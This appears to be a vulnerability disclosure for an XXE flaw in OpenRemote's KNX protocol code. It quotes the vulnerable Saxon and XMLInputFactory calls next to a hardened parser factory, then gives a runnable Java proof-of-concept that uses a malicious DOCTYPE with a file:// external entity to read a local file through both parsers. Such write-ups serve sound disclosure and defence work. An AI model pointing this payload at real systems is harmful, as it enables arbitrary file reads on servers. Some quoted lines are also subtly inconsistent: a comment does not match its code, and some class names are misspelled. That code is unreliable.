private DocumentBuilderFactory createSecureDocumentBuilderFactory() {
    DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
    factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true);
    factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
    factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
    factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
    factory.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
    return factory;
}

// Line 229-230: reads 0.xml from user-uploaded ZIP
InputStream inputStream = KNXProtocol.class.getResourceAsStream(".../ets_calimero_group_name.xsl");
String xsd = IOUtils.toString(inputStream, StandardCharsets.UTF_8);

// Lines 233-245: Saxon XSLT — no XXE protection on the source document
TransformerFactory tfactory = new TransformerFactoryImpl();
Transformer transformer = tfactory.newTransformer(new StreamSource(new StringReader(xsd)));
transformer.transform(
    new StreamSource(new StringReader(xml)),  // xml = 0.xml from attacker's ZIP
    new StreamResult(writer));

// Line 249: XMLInputFactory — no SUPPORT_DTD=false, no IS_SUPPORTING_EXTERNAL_ENTITIES=false
try (final XmlReader r = XmlInputFactory.newInstance()
        .createXMLStreamReader(new StringReader(xml))) { ... }

import net.sf.saxon.TransformerFactoryImpl;
import javax.xml.stream.*;
import javax.xml.transform.*;
import javax.xml.transform.stream.*;
import java.io.*;
import java.nio.file.*;

public class Exploit {
    public static void main(String[] args) throws Exception {

        // Sentinel file — proves arbitrary file read
        Path sentinel = Files.createTempFile("openremote_xxe_proof_", ".txt");
        String tag = "OPENREMOTE_KNX_XXE_" + System.currentTimeMillis();
        Files.writeString(sentinel, tag);

        String maliciousXml =
            "<?xml version=\"1.0\"?>\n" +
            "<!DOCTYPE root [\n" +
            "  <!ENTITY xxe SYSTEM \"file://" + sentinel.toAbsolutePath() + "\">\n" +
            "]>\n" +
            "<root><data>&xxe;</data></root>";

        // Stage A: XMLInputFactory (KNXProtocol.java:249 — no security config)
        XMLInputFactory factory = XMLInputFactory.newInstance();
        XMLStreamReader reader = factory.createXMLStreamReader(new StringReader(maliciousXml));
        StringBuilder sb = new StringBuilder();
        while (reader.hasNext()) {
            int e = reader.next();
            if (e == XMLStreamConstants.CHARACTERS) sb.append(reader.getText());
        }
        System.out.println("Stage A result: " + sb.toString().trim());

        // Stage B: Saxon TransformerFactoryImpl (KNXProtocol.java:233-245)
        String xsl = "<?xml version=\"1.0\"?>" +
            "<xsl:stylesheet version=\"1.0\" xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\">" +
            "<xsl:output method=\"text\"/>" +
            "<xsl:template match=\"/\"><xsl:value-of select=\"root/data\"/></xsl:template>" +
            "</xsl:stylesheet>";
        TransformerFactory tf = new TransformerFactoryImpl();
        StringWriter writer = new StringWriter();
        tf.newTransformer(new StreamSource(new StringReader(xsl)))
          .transform(new StreamSource(new StringReader(maliciousXml)), new StreamResult(writer));
        System.out.println("Stage B result: " + writer.toString().trim());

        Files.deleteIfExists(sentinel);
    }
}